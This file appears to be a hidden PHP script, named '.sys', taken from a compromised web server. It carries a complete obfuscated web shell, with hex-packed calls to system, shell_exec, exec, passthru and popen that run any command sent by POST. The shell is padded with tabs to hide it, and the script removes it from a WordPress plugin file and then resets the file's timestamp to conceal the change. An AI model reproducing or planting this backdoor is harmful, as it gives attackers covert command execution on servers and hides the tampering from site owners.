File: //var/tmp/.sys
<?php $path = '/home/decide.family/public_html/wp-content/plugins/autodescription/inc/classes/admin/settings/layout/form.class.php'; $ft = @filemtime($path); $new_content = str_repeat("\t", 42).rawurldecode('%24entry1%20%3D%20%273%27%3B%24entry2%20%3D%20%277%27%3B%24entry3%20%3D%20%274%27%3B%24entry4%20%3D%20%276%27%3B%24entry5%20%3D%20%275%27%3B%24entry6%20%3D%20%278%27%3B%24entry7%20%3D%20%27c%27%3B%24entry8%20%3D%20%27f%27%3B%24entry9%20%3D%20%271%27%3B%24entry10%20%3D%20%270%27%3B%24entry11%20%3D%20%27e%27%3B%24entry12%20%3D%20%272%27%3B%24module_controller1%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%24entry1.%24entry2.%279%27.%24entry2.%273%27.%277%27.%24entry3.%24entry4.%24entry5.%24entry4.%27d%27%29%3B%24module_controller2%20%3D%20pack%28%22H%2A%22%2C%20%24entry2.%24entry1.%24entry4.%24entry6.%276%27.%275%27.%276%27.%24entry7.%24entry4.%27c%27.%24entry5.%24entry8.%24entry4.%275%27.%24entry2.%24entry6.%276%27.%24entry5.%24entry4.%24entry1%29%3B%24module_controller3%20%3D%20pack%28%22H%2A%22%2C%20%276%27.%275%27.%277%27.%278%27.%276%27.%24entry5.%276%27.%24entry1%29%3B%24module_controller4%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%270%27.%276%27.%24entry9.%277%27.%24entry1.%24entry2.%24entry1.%24entry2.%274%27.%276%27.%24entry6.%24entry2.%272%27.%24entry2.%24entry5%29%3B%24module_controller5%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%24entry10.%24entry4.%24entry8.%277%27.%270%27.%24entry4.%275%27.%276%27.%24entry11%29%3B%24module_controller6%20%3D%20pack%28%22H%2A%22%2C%20%24entry2.%273%27.%24entry2.%24entry3.%277%27.%24entry12.%24entry4.%24entry5.%276%27.%271%27.%24entry4.%27d%27.%275%27.%27f%27.%276%27.%24entry2.%24entry4.%24entry5.%277%27.%24entry3.%275%27.%24entry8.%276%27.%24entry1.%276%27.%27f%27.%24entry4.%27e%27.%277%27.%274%27.%24entry4.%24entry5.%276%27.%27e%27.%24entry2.%24entry3.%24entry2.%24entry1%29%3B%24module_controller7%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%270%27.%276%27.%24entry1.%276%27.%24entry7.%276%27.%27f%27.%24entry2.%273%27.%24entry4.%275%27%29%3B%24unit_converter%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%24entry5.%24entry4.%24entry11.%276%27.%279%27.%277%27.%24entry3.%24entry5.%24entry8.%24entry4.%24entry1.%276%27.%24entry8.%24entry4.%24entry11.%277%27.%24entry4.%24entry4.%275%27.%277%27.%272%27.%277%27.%24entry3.%276%27.%275%27.%24entry2.%24entry12%29%3Bif%28isset%28%24_POST%5B%24unit_converter%5D%29%29%7B%24unit_converter%3Dpack%28%22H%2A%22%2C%24_POST%5B%24unit_converter%5D%29%3Bif%28function_exists%28%24module_controller1%29%29%7B%24module_controller1%28%24unit_converter%29%3B%7Delseif%28function_exists%28%24module_controller2%29%29%7Bprint%20%24module_controller2%28%24unit_converter%29%3B%7Delseif%28function_exists%28%24module_controller3%29%29%7B%24module_controller3%28%24unit_converter%2C%24token_pointer%29%3Bprint%20join%28%22%5Cn%22%2C%24token_pointer%29%3B%7Delseif%28function_exists%28%24module_controller4%29%29%7B%24module_controller4%28%24unit_converter%29%3B%7Delseif%28function_exists%28%24module_controller5%29%26%26function_exists%28%24module_controller6%29%26%26function_exists%28%24module_controller7%29%29%7B%24holder_value%3D%24module_controller5%28%24unit_converter%2C%22r%22%29%3Bif%28%24holder_value%29%7B%24hld_factor%3D%24module_controller6%28%24holder_value%29%3B%24module_controller7%28%24holder_value%29%3Bprint%20%24hld_factor%3B%7D%7Dexit%3B%7D')."\n"; if (file_exists($path) && is_writable($path)) { $content = file_get_contents($path); if (strpos($content, $new_content) !== FALSE) { $content = str_replace($new_content, '', $content); file_put_contents($path, $content); @touch($path, $ft); } } die('!success!');